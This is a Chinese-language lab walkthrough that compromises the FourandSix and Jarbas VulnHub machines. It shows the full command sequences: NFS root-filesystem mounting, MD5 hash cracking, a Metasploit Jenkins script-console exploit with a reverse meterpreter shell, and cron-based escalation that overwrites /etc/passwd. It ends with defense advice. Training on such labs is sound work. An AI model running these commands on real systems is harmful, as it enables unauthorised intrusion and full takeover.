渗透测试之Jarbas和FourandSix靶机实战
字数 1725 2025-08-27 12:33:31
渗透测试实战:Jarbas和FourandSix靶机教学文档
1. FourandSix靶机渗透测试
1.1 环境准备
- 靶机下载地址:https://download.vulnhub.com/fourandix/FourAndSix-vmware.zip
- 网络配置:NAT模式,与攻击机(Kali Linux)同网段
1.2 信息收集
-
确定靶机IP:
nmap -sP 222.182.111.1/24通过扫描确定靶机IP为222.182.111.135
-
端口扫描:
nmap -sV 222.182.111.135发现开放端口:
- 22 (SSH)
- 111 (rpcbind)
- 2049 (NFS)
1.3 NFS服务利用
-
安装NFS客户端工具:
apt-get install nfs-common -
查看共享目录:
showmount -e 222.182.111.135发现
/shared目录共享 -
挂载共享目录:
mkdir /mnt/share1 mount -t nfs 222.182.111.135:/shared /mnt/share1 -
探索共享内容:
cd /mnt/share1 ls发现USB-stick.img文件
-
挂载img文件:
mkdir USB-stick mount USB-stick.img USB-stick cd USB-stick ls -al -
关键发现:
mkdir jlzj mount 222.182.111.135:/ jlzj cd /jlzj ls -la发现可以挂载根目录,直接访问系统文件
-
获取flag:
cat /jlzj/root/proof.txt得到flag:5027a37dc785a5d1888bffd4e249e3dd
2. Jarbas靶机渗透测试
2.1 环境准备
- 靶机下载地址:https://download.vulnhub.com/jarbas/Jarbas.zip
- 网络配置:NAT模式,与攻击机(Kali Linux)同网段
2.2 信息收集
-
确定靶机IP:
nmap -sP 222.182.111.1/24确定靶机IP为222.182.111.137
-
端口扫描:
nmap -sV -p- 222.182.111.137发现开放端口:
- 22 (SSH)
- 80 (HTTP)
- 3306 (MySQL)
- 8080 (HTTP)
2.3 Web应用测试
-
80端口探测:
- 初始访问无显著发现
- 目录爆破:
dirb http://222.182.111.137:80 /usr/share/dirb/wordlists/big.txt - 扩展名探测:
发现access.htmldirb http://222.182.111.137:80 -X .php dirb http://222.182.111.137:80 -X .html
-
获取凭据:
- 在access.html中发现三组用户名及密码hash:
- tiago:italia99
- trindade:marianna
- eder:vipsu
- 使用MD5解密获得明文密码
- 在access.html中发现三组用户名及密码hash:
-
8080端口测试:
- 发现Jenkins登录页面
- 使用eder:vipsu成功登录
2.4 利用Jenkins获取会话
- 使用Metasploit:
成功获取meterpreter会话use exploit/multi/http/jenkins_script_console show options set target 1 set USERNAME eder set PASSWORD vipsu set RHOST 222.182.111.137 set RPORT 8080 set TARGETURI / show payloads set payload linux/x86/meterpreter/reverse_tcp set LHOST 222.182.111.132 exploit
2.5 提权
-
检查定时任务:
cat /etc/crontab发现每5分钟执行
/etc/script/CleaningScript.sh -
利用计划任务提权:
cd /etc/script/ echo "chmod u+s /usr/bin/cp" > CleaningScript.sh -
创建伪造的passwd文件:
touch passwd openssl passwd -1 -salt jlzj abc123生成用户jlzj的密码hash
-
上传并替换passwd文件:
upload /root/passwd /tmp shell python -c 'import pty;pty.spawn("/bin/bash")' cd /tmp cp passwd /etc/passwd cat /etc/passwd -
切换用户获取root权限:
su jlzj输入密码abc123,成功获取root权限
-
获取flag:
cd /root cat flag.txt
3. 关键知识点总结
3.1 NFS服务利用要点
- NFS(Network File System)用于网络文件共享
- rpcbind是NFS的辅助服务
- 通过
showmount -e查看共享目录 - 使用
mount命令挂载远程共享 - 注意检查可挂载的目录层级,有时可直接挂载根目录
3.2 Jenkins利用要点
- Jenkins是基于Java的持续集成工具
- 默认存在
jenkins_script_console漏洞利用模块 - 可通过Metasploit获取meterpreter会话
3.3 提权技术要点
- 检查
/etc/crontab寻找定时任务 - 利用可写的脚本文件注入提权命令
- 使用
chmod u+s给命令添加SUID权限 - 通过openssl生成用户密码hash
- 替换
/etc/passwd文件添加特权用户
3.4 信息收集技巧
- 端口扫描时使用
-sV获取服务版本信息 - 目录爆破时尝试不同字典和扩展名
- 检查网页源代码和隐藏文件
- 注意收集和破解密码hash
4. 防御建议
-
NFS服务:
- 限制共享目录范围
- 设置只读权限
- 使用防火墙限制访问IP
-
Jenkins:
- 及时更新到最新版本
- 禁用脚本控制台
- 使用强密码策略
-
系统安全:
- 定期检查crontab任务
- 限制关键命令的SUID权限
- 监控
/etc/passwd文件变更 - 使用文件完整性监控工具
-
Web应用:
- 避免在页面中暴露敏感信息
- 使用安全的密码存储方式
- 限制目录遍历
通过这两个靶机的实战,我们学习了NFS服务利用、Jenkins漏洞利用和多种提权技术,这些知识在实际渗透测试中具有重要价值。